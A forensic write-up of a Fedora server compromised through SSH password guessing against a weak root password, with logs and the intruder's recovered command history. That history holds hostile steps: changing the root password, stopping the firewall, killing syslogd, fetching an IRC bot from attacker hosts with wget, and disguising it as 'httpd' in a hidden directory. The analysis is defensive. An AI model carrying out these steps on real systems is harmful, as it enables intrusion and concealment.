Cursory analysis of a system compromise (due to poor password choice) On March 9 at 0856 the installation of a Fedora Core 3 system was completed. System was then set up on a NAT network and patched using updates provided by the Fedora project. The root password, for convenience, was temporarilly set to 'password' as an outside contractor would be setting up some software. On March 11 at approx 1317, the router was set to forward inbound ssh connections from the internet and the contractor was informed of the necessary information to connect. On March 11 at 1511, the first remote login was established over SSH. This was made by a legitimate user (the contractor) connecting to configure the web site. Based on an nmap scan, the only port accessible from outside the network was SSH. The owner reported that the router was also set to forward web traffic, but the system was found to be on a dynamic DSL pool and the bandwidth provider was blocking inbound web traffic. On March 12 at 1210, less than 24 hours after being established on the internet, we see the first logged attempts to connect over SSH via a common password guessing scheme. Mar 12 12:10:36 server sshd[7118]: Failed password for invalid user test from ::ffff:61.66.xxx.yyy port 38081 ssh2 Mar 12 12:10:39 server sshd[7121]: Invalid user guest from ::ffff:61.66.xxx.yyy Mar 12 12:10:41 server sshd[7121]: Failed password for invalid user guest from ::ffff:61.66.xxx.yyy port 38215 ssh2 Mar 12 12:10:45 server sshd[7124]: Invalid user admin from ::ffff:61.66.xxx.yyy Mar 12 12:10:47 server sshd[7124]: Failed password for invalid user admin from ::ffff:61.66.xxx.yyy port 38344 ssh2 Mar 12 12:10:51 server sshd[7127]: Invalid user admin from ::ffff:61.66.xxx.yyy These attempts were unsuccessful. For the most part, the accounts did not exist. On March 12 at 1211 and March 13 at 1158 we have the first successful connections via password guessing. These connections appear to have been made from an IP located in Taiwan. root pts/2 61.66.xxx.yyy Sat Mar 12 12:11 - 12:11 (00:00) root pts/2 61.66.xxx.yyy Sun Mar 13 11:58 - 11:59 (00:00) One minute after this second connection, at 1200 on March 13, a new connection was established from a system in Romania. The root password was changed (I did not have an opportunity to examine the password file to try to determine what password was set), possibly to protect the attacker's claim to this system. It appears that there was no attempt to conceal the attacker's command line history. The connection was tried again, apparently to test the new password. The system had been on the internet for less than 48 hours at this point. root pts/2 82.78.xxx.yy Sun Mar 13 12:00 - 12:01 (00:00) root pts/2 82.78.xxx.yy Sun Mar 13 12:01 - 12:01 (00:00) Mar 13 12:00:41 server sshd(pam_unix)[22211]: session opened for user root by root (uid=0) Mar 13 12:00:53 server passwd(pam_unix)[22244]: password changed for root Mar 13 12:01:01 server crond(pam_unix)[22246]: session opened for user root by (uid=0) Mar 13 12:01:01 server crond(pam_unix)[22246]: session closed for user root Mar 13 12:01:26 server sshd(pam_unix)[22254]: session opened for user root by root (uid=0) w passwd uname -a cat /etc/issue hostname users exit A short time later (1225), the attacker returned and attempted to configure a shoutcast server and an IRC bot (EnergyMech 2.8.1). The bot was retrieved from a web server in Romania and renamed to 'httpd' to conceal itself in the process list. root pts/2 82.78.xxx.yy Sun Mar 13 12:25 - 12:48 (00:22) Mar 13 12:25:37 server sshd(pam_unix)[22289]: session opened for user root by root(uid=0) Mar 13 12:31:13 server iptables: succeeded Mar 13 12:31:13 server last message repeated 2 times Mar 13 12:32:14 server kernel: ip_tables: (C) 2000-2002 Netfilter core team Mar 13 12:32:18 server iptables: succeeded Mar 13 12:32:18 server last message repeated 2 times Mar 13 12:32:50 server kernel: ip_tables: (C) 2000-2002 Netfilter core team Mar 13 12:34:54 server squid: Could not determine fully qualified hostname. Please set 'visible_hostname' w users cd /var/tmp ls mkdir " " cd " " wget http://www.shoutcast.com/downloads/sc1-9-5/shoutcast-1-9-5-linux-glibc6. tar.gz tar xzvf shoutcast-1-9-5-linux-glibc6.tar.gz rm -rf tar xzvf shoutcast-1-9-5-linux-glibc6.tar.gz cd shoutcast-1-9-5-linux-glibc6 pico sc_serv.conf vi sc_serv.conf ./sc_serv service iptables stop ./sc_serv /sbin/iptables -L -n /etc/rc.d/init.d/iptables stop /etc/rc.d/init.d/iptables status iptables -I INPUT -p tcp --dport 2005 -j ACCEPT ./sc_serv iptables -I OUTPUT -p tcp --dport 2005 -j ACCEPT iptables -I FORWARD -p tcp --dport 2005 -j ACCEPT /sbin/iptables -L -n ./sc_serv /etc/init.d/squid stop killall -9 syslogd /etc/init.d/squid stop /etc/init.d/status /etc/init.d/squid status uname -a vi sc_serv.conf ./sc_serv iptables -I FORWARD -p tcp --dport 8989 -j ACCEPT ./sc_serv cd .. wget -----.go.ro/mech.tgz tar zxvf mech.tgz cd mech rm -rf mech.set mech2.usr mech3.usr wget -----.home.ro/mech.set wget -----.home.ro/mech2.usr wget -----.home.ro/mech3.usr vi mech.set ./mech ./mech killall -9 mech cd .. cd shoutcast-1-9-5-linux-glibc6/ vi sc_serv.conf ./sc_serv cd .. rm -rf shoutcast-1-9-5-linux-glibc6/ ls rm -rf mech.tgz mv mech tmp cd tmp mv mech httpd ./httpd ./httpd exit ? On March 14 at 1154, the system was shut down so that it could be moved to a different location in the office. The owner reported seeing several error messages on shutdown and it was later assumed that this had been a possible cause for the password being reset. reboot system boot 2.6.10-1.770_FC3 Mon Mar 14 11:54 (22:36) Within moments, the attacker reconnected in order to restart their IRC bot. root pts/1 82.78.xxx.yy Mon Mar 14 12:09 - 14:29 (02:20) root pts/1 82.78.xxx.yy Tue Mar 15 06:47 - 06:52 (00:04) w cd /var/tmp ls cd " " ls cd tmp ls ./httpd ./httpd ps aux cat /etc/issue w uname -a w ps auzx ps aux exit Two to three hours later, it was discovered by an outside contractor that the root password was no longer working. Shortly after that the system owner likewise discovered that they could not connect from the console using the known root password. Following some communication delays, the contractor agreed to walk the owner (who was by this time no longer in the office) through resetting the root password from single user mode the following morning. reboot system boot 2.6.10-1.770_FC3 Tue Mar 15 10:35 (2+02:14) root :0 Tue Mar 15 10:37 still logged in At 1035 on March 15, the system was rebooted in single user mode and the password was changed by the system owner. Moments later, the contractor verified that they were able to connect. The contractor had been told that the company had its own unix admin, so after quickly checking for any new uid 0 user accounts, further investigation was left to them. Following the password reset, only one failed connection attempt was logged, this time from an address in San Jose. Mar 16 08:11:39 server sshd[5996]: Failed password for root from ::ffff:69.3.xx.yy port 25124 ssh2 Mar 16 08:12:00 server last message repeated 2 times On March 16, the contractor was asked about the "lost" password issue. Acting on curiosity, the contractor checked the system logs for a record of a password change, established who was connected at the time, examined the command history for root and reported his findings. Here is some output from the bot itself... ./httpd -v EnergyMech 2.8.1, April 1st, 2001 Compiled on May 15 2001 19:04:30 Features: DBG, SDB, LNE, SEE, LNK, PIP, DYN, NEW, ALS, WIN, SEF